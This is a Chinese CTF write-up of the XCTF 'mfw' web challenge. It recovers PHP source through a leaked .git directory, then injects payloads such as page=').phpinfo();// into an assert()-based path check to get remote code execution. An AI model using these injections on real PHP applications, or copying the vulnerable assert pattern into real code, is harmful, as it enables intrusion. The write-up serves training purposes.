攻防世界web进阶区mfw详解

攻防世界web进阶区mfw详解

  • 题目
    • 解法
    • 方法二
      • assert
      • strpos
      • file_exists()

题目

攻防世界web进阶区mfw详解_第1张图片

解法

攻防世界web进阶区mfw详解_第2张图片
当我们看到about的时候,看到使用了git
我们猜测有git源码泄露
http://220.249.52.133:57869/.git/
攻防世界web进阶区mfw详解_第3张图片
攻防世界web进阶区mfw详解_第4张图片
githack下载发现flag.php

<?php
// TODO
// $FLAG = '';
?>

并没有发现什么
那么我们对index.php进行审计看看能发现什么

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

判断page是否有值,有的话接着下一步
可以把后面’, ‘…’) === false的给注释掉,构造page=’).phpinfo();//,可以得到回显
我们放进去查看一下
攻防世界web进阶区mfw详解_第5张图片

攻防世界web进阶区mfw详解_第6张图片
接下来就是我们的远程代码执行了
攻防世界web进阶区mfw详解_第7张图片
我们直接cat / 查看所有的文件
在源代码中找到了flag

方法二

构造 or 来绕过

/?page=about') or phpinfo(); //

assert

其作用是如果它的条件返回错误,则终止程序执行
断言函数

strpos

— 查找字符串首次出现的位置.此函数可能返回布尔值 FALSE,但也可能返回等同于 FALSE 的非布尔值。

file_exists()

函数检查文件或目录是否存在。

你可能感兴趣的:(CTF)